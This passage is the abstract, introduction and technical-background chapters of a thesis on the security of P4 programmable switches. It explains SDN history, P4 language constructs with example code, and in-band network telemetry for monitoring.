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Abstract

The network paradigm is an ever-evolving technology. From OpenFlow to the
more recent P4, the goal has always been to increase programmability whilst
keeping the speed of execution. With greater freedom within switches, there is
also an increased risk towards its compromise. From a security perspective, few
mechanisms have already been designed to protect P4 networks (it is a recent
technology), but we are yet to contemplate the idea that the attack may come
from within. If the switch itself contains a program that can both perform a regu-
lar and hostile activity, it can go unnoticed for a long time. With this thesis, both
sides of this problem are explored, first by analysing the corruption potential of
P4 and lastly by creating a framework to detect the aforementioned attacks.
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Chapter 1

Introduction

The introductory chapter provides an overview of the work developed. Most no-
ticeably, this chapter begins with a small introduction, followed by an overview
of the objectives, a listing of contributions, the motivation behind the work, and
finally, a summarised version of the structure of the document.

Section 1.1 briefly introduces the thesis, mentioning the motivation behind the
research.

Section 1.2 refers to the goals for this document.

Section 1.3 outlines the contributions created by this thesis.

Section 1.4 describes the structure taken by the entire document, aimed to help
the reader navigate the different topics mentioned.

1.1 Introduction & Motivation

P4, short for Programming Protocol-Independent Packet Processors is a packet
programming language developed by Bosshart in 2014 [Bosshart et al., 2014].
This language was created as an effort to efficiently replace OpenFlow by offering
solutions to several known issues and challenges, including lack of programma-
bility and protocol independence. By approaching network configuration pro-
grammatically P4 allows great flexibility in network management.

Technically speaking, P4 processes bit-streams rather than protocol-specific pack-
ets, allowing the administrator to specify protocol parsing programmatically. Re-
garding technological support, P4 aims to be target-independent by working with
multiple hardware manufacturers and by separating the core of the language
from its external components, which can be defined by the vendor.

The P4 Language Consortium and the Open Network Foundation currently main-
tain P4. The ONF is a "community-led non-profit consortium fostering and de-
mocratizing innovation in software-defined programmable networks" [Founda-
tion]. Being backed by such an institution ensures its long-term support and

1
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keeps the technology open-source and widely available. P4’s current revision is
P416 and, at the time of writing of this document, running version 1.2.4 Since the
more recent update was distributed after the start of this thesis, the work devel-
oped uses P416 running version 1.2.3.

P4 has met the acceptance of both the industry and academia and is predicted to
slowly gain more popularity[Liatifis et al., 2023]. It is vital for a language to be
bug-free and with well-drawn limitations in order to be viable to professional-
grade workloads.

The job of the network administrator usually encompasses the configuration of
multiple tools or apps, ensuring proper network configuration. P4, as a network
programming language, goes a level deeper in terms of customization, but with
the caveat that it requires a greater effort to work with. For this reason, it is not
expected that a network admin configures a P4 network from the core, but instead
uses a middleware that abstracts P4 in the form of an app.

As such, an attack vector opens, by exploiting the code itself and the lack of
analyzing tools available for P4, an attacker can manipulate network behavior.
This does not imply that the attacker fully controls the switch, instead [Black and
Scott-Hayward, 2021] proved that P4 code can be changed by infecting adjacent
libraries. [Dumitru et al., 2020] proved that P4 has some data plane level vulner-
abilities which can be exploited.

1.2 Objectives

This thesis’ goals are:

• Study and provide an accurate state-of-the-art summary of P4’s security
landscape.

• Generate data plane exploits using [Black and Scott-Hayward, 2021] as its
attack vector.

• Leverage P4-INT as a network visibility tool, understanding its results when
applied to the created attacks.

• Proposing mitigation strategies, using P4-INT as a data-gathering framer-
work.

1.3 Contributions

Throughout the execution of this task, numerous contributions have emerged.

In the work [Black and Scott-Hayward, 2021], an issue was reported regarding the
code, resulting in a change in the repository (https://github.com/conorblack/
AdvExpP4DP/issues/1).
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Appendix A, which was created with the goal of explaining a missing piece in the
official P4 tutorial repository [P4Team] was converted to markdown and submit-
ted to the official repository, where it waits merging with the main branch after
being reviewed.

Using information collected during this thesis a paper was written and submitted
to the to NetSoft 2023 Conference, as a possible PhD Symposium. Unfortunately,
the paper was not accepted, but valuable information was extracted from the
feedback and used to improve the thesis.

1.4 Structure

This document considers the following structure.

Chapter 2 starts by conducting an analysis of controllable data planes. This
takes into consideration the historical perspective, analyzing several technolo-
gies. Next, P4 is formally introduced, discussing the most important aspect of the
language. Finally, relevant literature in the P4 security landscape is presented.

Chapter 3 is the core of the thesis. In it, exploits are developed, and tested in a
simple network scenario. The chapter ends with a formal test on the developed
attacks.

Chapter 4 focuses on creating a solid detection strategy, mitigating the described
exploits.

Chapter 5 provides a wrap-up for the document. It revises all of the work, con-
necting the theoretical completion with the implementation and results.

Additionally, Appendix A provides a tutorial on Mininet Framework applied in
the context of the P4 tutorial repository.

3
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Chapter 2

Context and Related Work

This chapter introduces the reader to a variety of concepts related to networking.
It serves as a starting point for the thesis, presenting the reader with most of the
concepts needed to understand the work developed in later chapters.

Section 2.1 presents a historical perspective of SDN networks. From traditional
switches to the newer P4, this section explains the evolution of networks as well
as some of their inherent flaws.

Section 2.2 first takes a look at the infrastructures that support SDN. It then takes
a look at the SDN security panorama.

Section 2.3 presents the practical aspects of P4 the language, following the official
language specification.

Section 2.4.1 discusses the current panorama regarding network monitoring, with
a special focus on In-Band Network Telemetry (INT).

Section 2.5 reviews relevant academic material. The main focus of this section is
to explore topics of attack (P4 bug finding) and defense (Static application Secu-
rity Testing (SAST) and Dynamic Application Security Testing (DAST)).

2.1 Historical Context

The next section delves into the historical context of networking, exploring the
evolution and milestones that have shaped the field.

2.1.1 Traditional Networking

Historically speaking, networks were designed very differently than in the mod-
ern day. The traditional switch was typically closed source, meaning that the
Original Equipment Manufacturer (OEM) had full control over said device. Both
scholar and network admins were not able to perform changes to the behavior of
the switch outside the functionality defined by the manufacturer.
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In other words, the consumer was largely limited by the OEM. This was far from
an optimal situation. For instance, if the user wanted to create and manage their
own protocol, the hardware would not be able to support it

From the manufacturer’s standpoint, it is an understandable decision, as it wishes
to keep control over its intellectual property. That aside, this decision also lent
more control to the OEM, allowing more control over the update cycle, as well as
better performance.

2.1.2 SDNs and Network Decoupling

As the internet grew larger, its requirements also changed. In an optimal situa-
tion, the network would be able to split packet processing (data plane) from rule
generation (control plane), enabling fast dynamic management of the network.
Considering a 2-plane separation:

• The Control plane contains most of the logic necessary for a switch/router
to operate. It handles the logical side of routing, guiding the behavior of a
packet that enters the switch. Depending on the implementation, the con-
trol plane will be more or less active, nevertheless, most of the heavy lifting
is done within this plane (generating network graphs, calculating best rout-
ing scenario, etc).

• The Data plane, on the other hand, processes the network packets, comply-
ing with the rules previously established by the control plane.

Internet decoupling is as old as 2004, being first described in [Yang et al., 2004].
According to the authors, the document "defines the architectural framework
for the ForCES (Forwarding and Control Element Separation) network elements,
identifies the associated entities and their interactions.". The success of the frame-
work was, however, limited by the community’s views on new techniques to con-
trol the network.

A few years later, in 2008, a paper [McKeown et al., 2008] promised a technology
"based on an Ethernet switch, with an internal flow-table, and a standardized
interface to add and remove flow entries.". OpenFlow was an instant hit, as two
years after its inception, OpenFlow was already being implemented by Google in
their network.

2.1.3 OpenFlow

OpenFlow [McKeown et al., 2008], originally created in 2008, came to revolution-
ize the networking industry, directly answering the problems related to propri-
etary software and hardware posed by the manufacturers.

OpenFlow proxied network packets such that, according to their properties, they
could be arranged in different flows. This would allow, not only to keep the
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"regular" internet working (by having it default to the "old way" of forwarding
packets) but also to separate packets into different flows.

2.1.4 P4

OpenFlow represented a big change in networking, nevertheless, it still had its
limitations. For instance, what started with 12 fields, was quickly growing up in
size, reaching upwards of 40. To accommodate more protocols more fields may
be required.

To answer this problem, P4 was created. Instead of adopting well-known and
widely implemented protocols, P4 parses incoming bitstream, allowing the ad-
ministrator to program the behavior of the switch as desired. Even though more
complex, adopting this paradigm allows more flexibility.

According to the original P4 document [Bosshart et al., 2014], P4 provides the
following properties:

• Reconfigurability. Programmers should be able to change the way switches
process packets once they are deployed.

• Protocol independence. Switches should not be tied to any specific net-
work protocol.

• Target independence. Programmers should describe packet-processing func-
tionality independently of the specifics of the underlying hardware.

In short, P4 abstracts the concept of network protocols processing raw bytes, leav-
ing the programmer with the job of parsing said bytes according to their needs.

2.2 SDN Architecture

SDNs are complex and therefore there is a need to formalize architecture to avoid
further confusion. This thesis follows the naming convention used in [Cabaj et al.,
2014]. According to it, an SDN network consists of 3 + 1 layers (refer to2.1), which
are further described below.

The Application Layer is the highest layer of abstraction, where the end-user ap-
plications such as Intrusion Detection System (IDS), load balancing, and firewalls
are implemented.

The Control Layer is the level where controllers are situated. It is responsible for
managing high-level policies and enforcing them in the data plane.

The Infrastructure Layer corresponds to the physical structure of the network.
Raw data is processed at this level according to the policies established by the
control layer.
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Figure 2.1: SDN architecture (based on [Cabaj et al., 2014])

Additionally, the Management Layer is hidden from execution but affects all lay-
ers. It represents all controls that are inherently hidden from the network.

Besides architectural layers, interfaces describe can be used to describe the inter-
action between components of the network. Based on [Alsmadi and Xu, 2015], 4
interfaces can be defined, representing 3 different flows, all centered around the
controller.

The Northbound interface outlines the flow of communication between the ap-
plication and control layers.

The Eastbound and Westbound interfaces represent the connection between the
multiple controllers. Horizontal connection is at the heart of SDNs, allowing dy-
namic interaction between several network elements.

The Southbound interface describes the connection between the controller and
data plane switches.

2.2.1 SDN Security

As SDNs became more and more popular, a deeper need for security research
was necessary. Still a work in progress, various vulnerabilities have already been
identified. Following the architectural model defined above, the SDN security
panorama is analyzed.

The management plane can affect all other layers, as such, it is necessary to ensure
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that it enforces not only strong passwords but strong access measures as a whole.
It is also necessary to ensure that the communication channel is secure.

At the Application layer concerns with API abuse and impersonation should be
taken into consideration. Regarding software, it can suffer from information leak-
age, third-party exploitation, or high-privilege exploitation. "Policy attacks", as
defined in [Shaghaghi et al., 2020], define attacks that SDN’s ability to define and
store network policies. Bad policy management can heavily influence how traffic
flows at a lower level

At the control layer, concerns focus on controller spoofing, man-in-the-middle
attacks, information disclosure, and network manipulation. The control plane
should also ensure that the circulating traffic is, to a degree, isolated from one
another, to prevent infections from one network element to spread beyond the
patient zero. Configurations must ensure coherency of application coherency
and consistency, such that network rules do not contradict one another. In the
southbound interface, must secure the communication between the switch and
controller should be secure, otherwise, attacks such as man in the middle are
possible. This thesis focuses on exploring the southbound interface and its prob-
lems.

At a data plane level, DoS attacks are most frequent. Other issues such as com-
munication highjacking, and network manipulation are also possible. Besides
DoS, [Gao et al., 2018] also mentions topology poisoning and side-channel at-
tacks, the first consisting in poisoning the information collected by a controller
and the second in utilizing the processing time of a control plane to learn net-
work configurations.

2.3 Technical background

The next section explores the technical background of P4, shedding light on the
underlying concepts and principles of this programmable data plane language.
It was developed using the official manual[Consortium, 2022] (revision P416 ver-
sion 1.2.3) as a reference as well as the official P4 repository[P4] for examples.

2.3.1 P4 evolution

P4 was originally created in 2014 [Bosshart et al., 2014], introducing its first formal
language definition. After the first revision of the language, the old version was
denominated P414, whilst the newer version P416.

When comparing both revisions side to side, P414 is a more complex language
with a denser core. P416 makes several backward-incompatible changes in an
effort to reduce the core of the language to its essential functionalities, decoupling
hardware-based functions and constants into libraries.

With the help of a new construct, the extern (whose goal is to allow the usage of
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the mentioned libraries), P416 contains a stronger and more stable core, leaving
the libraries with more room for change

2.3.2 Traditional Switch vs P4 Switch

A traditional switch works independently from the remainder of the network.
SDN switches on the other hand use a controller to define their behavior. The
controller may be connected to multiple switches and can view the network as a
whole, allowing for dynamic changes at runtime. A P4 switch is an SDN switch
that uses the P4 technology, according to the specification "configured at initial-
ization time to implement the functionality described by the P4 program" [Con-
sortium, 2022].

2.3.3 Device Support

As mentioned, P4 compromises functionality and ease of implementation. As
such, the manufacturer provides two elements:

• A P4 compiler;

• An accompanying architecture definition for the target.

The manufacturer needs not provide any further implementation details in or-
der for P4 to work, maintaining the so-desired anonymity. P4 is supported by
several architectures, including but not limited to NetFPGA [Zilberman et al.,
2014], BMv2 [Consortium] and Barefoot Tofino [Networks](discontinued by Intel
in January 2023).

Noticeably, P4 programs are not expected to be portable across multiple architec-
tures, nevertheless, they should be portable across hardware that runs the same
architecture.

2.3.4 P4 Language pipeline

The current version of P4, P416 uses the v1model, which is largely similar to Pro-
tocol Independent Switch Architecture (PISA). This is because the legacy version,
P414, was designed for PISA, and upon the change to P416, the v1model took
ideas from PISA. Figure 2.2 shows the v1 model and its core elements:

• The Parser;

• The Ingress Pipeline;

• The Egress Pipeline;

• The Deparser;

They are further detailed below.
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The parser

The parser’s objective is to read incoming packets into the system (using the
packet_in abstraction) and parse them. Parsing consists in validating headers
(better explained in 2.3.5. It also sets standard metadata, creating a number of
useful parameters, such as the ingress or egress port.

The Ingress Pipeline

The ingress pipeline contains a match-action pipeline (composed of several match-
actions tables) used to modify the header structure. It is in this stage that most of
the computations are done. Additionally, re-circulation and cloning are also done
in this stage.

The Egress Pipeline

The egress pipeline is everything similar to the ingress pipeline, just differs in
the timeline where it is found, which is just before the packet leaves the switch.
The egress pipeline may revoke changes made by the ingress pipeline and make
changes to the header as well. This stage is necessary since buffering may add
some unpredictability to the switching process.

The Deparser

The deparser stage collects all the changes made into the packet, both from the
ingress and egress pipelines, assembling them into the final packet, and releasing
it to the network.

P4 also supports checksum verification. Whilst not formally defined as stages in
processing the checksum verifier ensures that the checksum of arriving packet is
valid, otherwise, the packet is discarded. When the packet is leaving the system
the Checksum Updater updates the checksum such that changes made to the
packet are reflected in the checksum.

Fig 2.2 represents the above-discussed pipeline.

2.3.5 P4 Language Abstractions

P4 is similar to a programming language, using many high-level concepts from
other languages. Most similar to C, it noticeably lacks string-related control func-
tions, this is because this functionality is not required for processing network
packets. It also lacks loops, ensuring linear complexity for any packet traversing
the system (though loops can technically be achieved by using recursion).

Below some core language abstractions are further explained. Most excerpts from
this section were retrieved from the official P4 GitHub tutorial section [P4].
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Figure 2.2: P4 Architecture[Consortium, 2022]

Header

The Header "describes the format (the set of fields and their sizes) of each header
within a packet" [Consortium, 2022].

A header is similar to a C-struct, with the addition of a hidden validity bit. This
bit is used the parsing and emission methods present in P4 to validate packets in
and out of the system. 2.1 exemplifies a header.

1 header ethernet_t {
2 macAddr_t dstAddr;
3 macAddr_t srcAddr;
4 bit <16> etherType;
5 }

Listing 2.1: P416 Header Example

Parsers

The Parser "describes the permitted sequences of headers within received pack-
ets, how to identify those header sequences, and the headers and fields to extract
from packets" [Consortium, 2022].

The P4 parser receives the packet using the packet_in primitive and parses the
raw stream of bytes into a header. Parsing of a packet always starts with the
"state start" block and ends with acceptance or rejection of the packet. The parser
should verify all headers used in the ingress and egress pipelines. Without packet
parsing, the ingress and egress pipelines may not work properly.

Listing 2.2 shows a sample parser implementation. Its function is to parse IPv4
packets, extracting and validating Ethernet and IPv4 information, respectively.

1 parser MyParser(packet_in packet ,
2 out headers hdr ,
3 inout metadata meta ,
4 inout standard_metadata_t standard_metadata) {
5 state start {
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6 transition parse_ethernet;
7 }
8

9 state parse_ethernet {
10 packet.extract(hdr.ethernet);
11 transition select(hdr.ethernet.etherType) {
12 TYPE_IPV4: parse_ipv4;
13 default: accept;
14 }
15 }
16

17 state parse_ipv4 {
18 packet.extract(hdr.ipv4);
19 transition accept;
20 }
21 }

Listing 2.2: P416 Parser Example

Table

The table "associates user-defined keys with actions. P4 tables generalize tradi-
tional switch tables; they can be used to implement routing tables, flow lookup
tables, access-control lists, and other user-defined table types, including complex
multi-variable decisions" [Consortium, 2022].

P4 Tables are special control blocks that perform actions based on key matches.
There are 3 main elements to a table:

• The key indicates how the match-action comparison is performed. Three
default comparison methods are considered:

– LPM - longest prefix match;

– Exact - direct comparison;

– Ternary - matching a table entry where the field has all bit positions
“don’t care” [Consortium, 2022];

• The actions define all the possible flows of execution that can be applied to
the table.

• The default action decides which action is applied if no match is found.

Below, listing 2.3 illustrates a sample forwarding table, which takes a destination
IP as a key and applies an action based on it.

1 table ipv4_lpm {
2 key = {
3 hdr.ipv4.dstAddr: lpm;
4 }
5 actions = {
6 ipv4_forward;
7 drop;
8 NoAction;
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9 }
10 size = 1024;
11 default_action = drop();
12 }
13

14 apply {
15 if (hdr.ipv4.isValid ()) {
16 ipv4_lpm.apply();
17 }
18 }
19 }

Listing 2.3: P416 Table

Notes regarding tables:

• Other elements can be added to a table (such as size);

• A table can have multiple keys.

Actions

Actions "are code fragments that describe how packet header fields and metadata
are manipulated. Actions can include data, which is supplied by the control plane
at runtime" [Consortium, 2022].

Actions are similar functions in programming languages. They represent a con-
trol block that is able to modify variables in the code. Listing 2.4 provides a
sample forwarding action. It takes several parameters, which are used to change
the IP alongside, setting the egress port, and the TTL.

1 action ipv4_forward(macAddr_t dstAddr , egressSpec_t port) {
2 standard_metadata.egress_spec = port;
3 hdr.ethernet.srcAddr = hdr.ethernet.dstAddr;
4 hdr.ethernet.dstAddr = dstAddr;
5 hdr.ipv4.ttl = hdr.ipv4.ttl - 1;
6 }

Listing 2.4: P416 Action

Control Flow Expressions

Control flow expressions are situated in the main body of the ingress or egress
parsers. They cannot be used inside actions. According the official manual[Consortium,
2022], control flow is able to perform:

• Constructing of lookups keys from packet fields or computed metadata;

• Performing table lookups using the constructed key, choosing an action (in-
cluding the associated data) to execute;

• Executing the selected action.
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2.5 is an example of a control flow. It first checks the validity of the IP header and
then executes two different tables, emcp_group, and ecmp_apply.

1 apply {
2 if (hdr.ipv4.isValid () && hdr.ipv4.ttl > 0) {
3 ecmp_group.apply ();
4 ecmp_nhop.apply ();
5 }
6 }

Listing 2.5: P416 Control Flow Example

Extern Objects

"Architecture-specific constructs that can be manipulated by P4 programs through
well-defined APIs, but whose internal behavior is hard-wired (e.g., checksum
units) and hence not programmable using P4" [Consortium, 2022].

As mentioned in section 2.3.3, P4 is designed target-independent and, as such,
its functionality is divided into its core (which is the same in all targets) and
architecture-specific functions. The extern primitive defined methods that are
not contained within P4 but instead, are contained within the architecture itself.

Listing 2.6 shows Checksum16. This method can be declared but is not directly
implemented within the code.

1 extern Checksum16 {
2 Checksum16 (); // constructor
3 void clear(); // prepare unit for computation
4 void update <T>(in T data); // add data to checksum
5 void remove <T>(in T data); // remove data from existing

checksum
6 bit <16> get(); // get the checksum for the data added since

last clear
7 }

Listing 2.6: P416 Extern example [Consortium, 2022]

User-defined metadata

"User-defined data structures associated with each packet" [Consortium, 2022].

Refers to the temporary storage variables available in a program. Commonly
called metadata, it is defined by the user and may have different scopes within
the pipeline (local or global). Listing 2.7 illustrates a user-defined variable, which
is considered user-defined metadata.

1 struct metadata {
2 bit <14> ecmp_select;
3 }

Listing 2.7: P416 User-defined Metadata
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Intrinsic Metadata

"Metadata provided by the architecture associated with each packet, e.g., the in-
put port where a packet has been received" [Consortium, 2022].

Usually declared under the standard_metadata. Represents data that can be ac-
cessed by the user but that is defined by the system. Listing showsstandard_metadataparameter,
contained in a parser definition. This variable is defined and filled by the system.

1 parser MyParser(packet_in packet ,
2 out headers hdr ,
3 inout metadata meta ,
4 inout standard_metadata_t standard_metadata)

Listing 2.8: P416 Intrinsic Metadata

2.3.6 Data Storage

P4 defines 2 types of storage elements:

• Stateless Elements do not store data in permanent memory and only exist
within the execution of each singular packet.

• Stateful Elements are global to the switch and maintain state between packet
executions. Some examples of permanent storage include counters, meters,
and registers.

2.3.7 Operator Precedence

Operator precedence follows the convention that has already been established for
other languages, the only few differences include:

• The precedence of the bitwise operators & | and ˆ is higher than the prece-
dence of relation operators <, <=, >, >=.

• Concatenation (++) has the same precedence as infix addition.

• Bit-slicing a[m:l] has the same precedence as array indexing (a[i]).

2.3.8 Calling Convention (in/out/inout)

P4 defines the readability of variables by using an explicit representation of the
read/write properties of the parameters. According to the official language man-
ual [Consortium, 2022]:

• in parameters are read-only. It is an error to use an in parameter on the left-
hand side of an assignment or to pass it to a callee as a non-in argument.
The in parameters are initialized by copying the value of the corresponding
argument when the invocation is executed.
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• out parameters are, with a few exceptions listed below, uninitialized and are
treated as l-values within the body of the method or function. An argument
passed as an out parameter must be an l-value; after the execution of the call,
the value of the parameter is copied to the corresponding storage location
for that l-value. Note: any header-related out parameters will uninitialized
and have their validity bit set to False by default.

• inout parameters are both in and out. An argument passed as an inout pa-
rameter must be an l-value.

2.3.9 Reading Uninitialized Values

Default values are of importance in this thesis as some exploits exploit architec-
tural differences when handling default values. For such reason, the defaults
values for the Behavioral Model Version 2 (BMv2) architecture are listed below:

Type Default Value
int 0
int<N> 0
bit<N> 0
bool false
error error.NoError
string empty string ("")
varbit<N> string of 0 bits
enum with underlying type 0
enum without underlying type first value in declaration
header invalid
header stack invalid and nextIndex is 0
header_union all union elements are invalid
struct default value per type
tuple tuple with default value according to type

Table 2.1: Default values for P4 types present in specification

Note As mentioned above, this is only valid for the BMv2 architecture and will
may differ in other architectures.

2.3.10 Threading

Concurrency in P4 consists of the usage of multiple simultaneous threads. Each
packet is processed individually in its own local pipeline, maximizing through-
put, and containing its own local resources (including the packet_in packet_out
primitives.)
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Global blocks, such as externs, share can be accessed by all threads. This behavior
may lead to race conditions and other concurrency undesired behaviors. As such,
P4 introduced the @atomic annotation, further explained in chapter 2.3.11.

2.3.11 Annotations

P4’s annotations aid in the association of metadata with program elements, chang-
ing the runtime behavior of the program according to the compiler.

P4 established 2 main types of annotations:

• Structured Annotations, which have an optional body;

• Unstructured Annotations, which have a mandatory body.

User-created annotations aside, some annotations also are part of the standard.
These are characterized by starting with a lowercase letter and defining behaviors
specific to the standard library or architecture. Some of the most common are:

• @optional, indicates that an extern function, method, or object does not
need a parameter specification;

• @tableonly, denotes actions that can only be used in a table;

• @defaultonly, just like the above, indicates that an action can only be used
in a table, as the default action.

• @name, user for better API communication;

• @hidden, hides an entity from the control plane;

• @atomic, imposes the atomic execution of a control block or method;

• @match, specifies a other-than-default match_kind value.

2.3.12 Egress port special actions

P4 supports several actions that directly affect the flow of packets in the pipeline.
These actions are natively supported by the system and include:

• Drop;

• Clone;

• Resubmission;

• Recirculation;
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Since special actions create an abnormal packet flow, to identify such packets P4
uses a metadata variable as an indicator. For the BMv2 architecture, listing 2.9
illustrates the values of such constants.

Note: The remainder of this section uses excerpts from [Fingerhut].
1 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_NORMAL = 0;
2 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_INGRESS_CLONE = 1;
3 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_EGRESS_CLONE = 2;
4 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_COALESCED = 3;
5 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_RECIRC = 4;
6 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_REPLICATION = 5;
7 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_RESUBMIT = 6;

Listing 2.9: Special actions metadata variables

Dropping

Dropping is the action of not processing a packet anymore, removing it from the
pipeline. This is done in code using the primitive mark_to_drop().

Note: Dropping is only verified at the end of ingress or egress, meaning the
mark_to_drop() can be overwritten manually. [Dumitru et al., 2020] talks about
how this can be used as an exploit, using the term "resuscitated packet". Listing
2.10 illustrates how this behavior can be avoided by manually checking for drops.

1 ipv4_match.apply (); // Match result will go into nextHop if (
outCtrl.outputPort == DROP_PORT) return;

2 check_ttl.apply ();
3 if (outCtrl.outputPort == CPU_OUT_PORT) return;
4 dmac.apply ();
5 if (outCtrl.outputPort == DROP_PORT) return;
6 smac.apply ();

Listing 2.10: P416 Unwanted drop behaviour prevention

Cloning

Cloning duplicates a packet, re-ingressing it into a set port. When cloning a
packet, both the clone and the original traverse the switch. This action can be
called in both the ingress or egress stage, though the packet will only be cloned
after the original packet finished traversing its egress pipeline. When cloning a
packet several parameters need to be set:

• Clone type:

– CI2E: defines an ingress-to-egress clone;

– CE2E: defines an egress-to-egress clone.

• Session ID;

• User-defined metadata to be preserved.
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A simple cloning scenario can be seen in listing 2.11.
1 // Simple Clone
2 clone();
3 // Preserving metadata
4 clone_preserving_field_list(CloneType.I2E , I2E_CLONE_SESSION_ID ,

CLONE_FL_1);

Listing 2.11: P416 Cloning Example

To clarify how metadata is preserved, 2.12 shows an example:
1 const bit <8> EMPTY_FL = 0;
2 const bit <8> RESUB_FL_1 = 1;
3 const bit <8> CLONE_FL_1 = 2;
4 const bit <8> RECIRC_FL_1 = 3;
5

6 struct meta_t {
7 @field_list(RESUB_FL_1 , CLONE_FL_1)
8 bit <8> f1;
9 @field_list(RECIRC_FL_1)

10 bit <16> f2;
11 @field_list(CLONE_FL_1)
12 bit <8> f3;
13 @field_list(RESUB_FL_1)
14 bit <32> f4;
15 }

Listing 2.12: P416 Metadata Preservation

Resubmission

Ressubmissiting can only be called from the ingress pipeline. Resubmitting makes
the packet reenter the system. Resubmission can be useful to handle certain pro-
tocols which contain multiple layers of headers. Listing 2.13 shows an example
of ressubmission.

1 // Simple resubmit
2 resubmit ();
3 // Preserving metadata
4 resubmit_preserving_field_list(RESUB_FL_1);

Listing 2.13: P416 Resubmission Example

Recirculation

Recirculation is largely similar to resubmission, only differing in the stage where
the packet is recirculated. In this case, the original packet is sent back to reenter
the system after traversing both the ingress and egress pipelines. For example,
MLPS is a protocol that uses recirculation to remove the topmost label of the
packet, regressing it into the switch afterward. Listing 2.14 shows an example of
recirculation.

1 // Simple recirculate
2 recirculate ();
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3 // Preserving Metadata
4 recirculate_preserving_field_list(RECIRC_FL_1);

Listing 2.14: P416 Recirculation Example

2.4 Network monitoring and security

With an increasing number of networks, as well as their sizes and the number of
connected devices, it has become mandatory for networks to ensure the safety of
their communications. This task is by no means easy, yet network administra-
tors must accomplish it on a daily basis. Below, several techniques for securing
networks are described.

Device-related security practices affect the security of the devices in the network,
including both network and user equipment. Depending on the characteristics
of the network, the administrator may have more or less control over the use
of equipment, which influences the measures that can be applied. A simple yet
effective method to protect devices is to keep their software and firmware up to
date and ensure all logins are properly secured with strong passwords.

When it comes to the network, implementing VLANs can restrict access and con-
tain potential breaches. Segregating network elements can slow down attacks
and increase the time necessary for the malware to spread. Third-party software
can also be used to secure the network:

• Firewall controls incoming and outgoing traffic by applying predefined rules
to filter potential threats.

• Intrusion Detection System (IDS) monitors the network and provides ad-
ministrators with information.

• Intrusion Prevention System (IPS) builds upon IDS and takes automated
decisions based on the network state.

Monitoring the system, whether it’s an IDS or some other tool, and creating logs
is a great way to understand past complications. Devices should generally have
backups to prevent ransomware-like attacks from happening.

Moreover, education should be a central pillar of computer security. This helps
to reduce the amount of malware circulating in the network and shorten the time
required to apply an incident response plan.

2.4.1 Network Monitoring

As mentioned earlier, the security landscape of networking devices is comprised
by many variables. With the goal of this thesis in mind, special emphasis is placed
on network monitoring.
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Monitoring is a key technique for preventing and mitigating network attacks. By
continuously collecting and analyzing system metrics, anomalies can be identi-
fied, studied, and responded to quickly.

[Svoboda et al., 2015] describes several monitoring techniques. One technique is
Traffic Duplication, which can occur by placing an inline device, such as a Test
Access Port (TAP), or by port mirroring. However, duplication can be very costly
on the network as it duplicates the circulating throughput. In cases where a phys-
ical device is used, it may also be dependent on the capabilities and restrictions
of the device.

Packet capture is an alternative to traffic duplication. This approach involves
two steps: creating the capture file and analyzing the capture file. While this
methodology allows for a deeper search, including some data not present in live
captures, it comes at a cost of storage and timely intervention. Furthermore, this
workload can become burdensome for large amounts of data.

Deep Packet Inspection (DPI) is similar to packet capture, but it focuses on au-
tomated and sophisticated analysis. Implementing DPI is usually more complex
than other approaches, and consistent tweaking may be necessary to maintain
accurate analysis.

Flow observation, on the other hand, analyzes flows rather than individual pack-
ets. According to RFC 7011, "A Flow is defined as a set of packets or frames
passing an Observation Point in the network during a certain time interval. All
packets belonging to a particular Flow have a set of common properties." This
approach is more scalable because it outputs only a fraction of the monitored
data. However, the analysis conducted is much more limited compared to other
approaches.

2.4.2 In-band Network Telemetry(INT)

In-Band Network Telemetry (INT) is a lightweight solution for monitoring net-
work devices, first developed by the P4 team. INT uses a "piggybacking" tech-
nique where data is added to packets flowing in the network. This methodology
drastically reduces the traffic flowing in the network, albeit at the cost of addi-
tional processing in the sink and source routers. While INT can’t collect infor-
mation as detailed as in specialized devices, its speed can be very useful for fast
detection.[Consortium, 2020]

Network Elements

INT is composed of multiple elements, below the most relevant for this thesis are
described:

• INT Source. Where the INT packet is created. More specifically, data is
prepended to a circulating packet, indicating that it now contains INT in-
formation.
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• INT Sink. Where the INT packet is processed. More specifically, all INT-
related data is stripped from the packet and processed.

• INT Transit Hop: A trusted entity that collects and reports telemetry for
circulating INT packets.

• INT Metadata. Telemetry information is added to an INT packet at a source
or transit node.

• INT Header. Packet header that defines the INT being used (XD, MX, or
MD (detailed in section 2.4.2).

• INT Domain. A set of interconnected INT modes. Since this architecture
makes use of sources, sinks, and transit nodes, there is a need to properly
configure a domain so that nodes’ functions are properly defined and both
metadata and INT header do not leave the domain.

Metrics

According to the official documentation([Consortium, 2020], chapter 4), P4-INT
version 2.1 measures the following items (Note: units are not added below, be-
cause they depend on vendor implementation of INT):

• Node ID: This is administratively assigned to the node and used for identi-
fication purposes.

• Ingress Interface Identifier: Reports the interface and port used to ingress
the packet in the switch.

• Ingress Timestamp: Corresponds to the time the INT packet was processed
by the egress pipeline.

• Egress Interface Identifier: Reports the interface and port used to egress
the packet from the switch.

• Egress Timestamp: Corresponds to the time the INT packet was processed
by the egress pipeline.

• Hop Latency: Time required for a packet to be switched within the device.

• Egress Interface TX Link Utilization: Lists the usage of the egress port.

• Queue Occupancy: Measures the units of traffic in the switch’s queue (can
be bytes, cells, or packets).

Modes of Operation

There are three variations of INT application modes that can be used depending
on the desired level of packet modification and the type of metadata that needs
to be collected.
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INT-XD (eXport Data) directly exports metadata from the data plane to the mon-
itoring system. This is done based on the INT instructions that are configured
at the Flow Watchlists. By using this mode, no packet modification is needed,
making it the most size-efficient option.

INT-MX (eMbed instruct(X)ions) embeds INT instructions in the packet header
of the INT Source, which are then stripped at the INT Sink. In this mode, all
nodes communicate with the Monitor. Packet modification is limited to the in-
struction header meaning the packet size does not grow as the packet traverses
more Transit nodes.

INT-MD (eMbed Data) writes both INT instructions and metadata into the packet.
This is the classic hop-by-hop INT, where the INT Source embeds instructions, the
INT Source and Transit embed metadata, and the INT Sink strips the instructions
processes the collected data and sends it to the monitoring system. The packet
is most modified in this mode, but it there there is a reduced number of reports
circulating in the network.

Selecting which mode to use is dependent on the scenario and needs of the net-
work, meaning that there is no mode that is in every aspect when compared to
other. Fig 2.3 visually explains the modes of execution of P4-INT.

2.5 Related Work

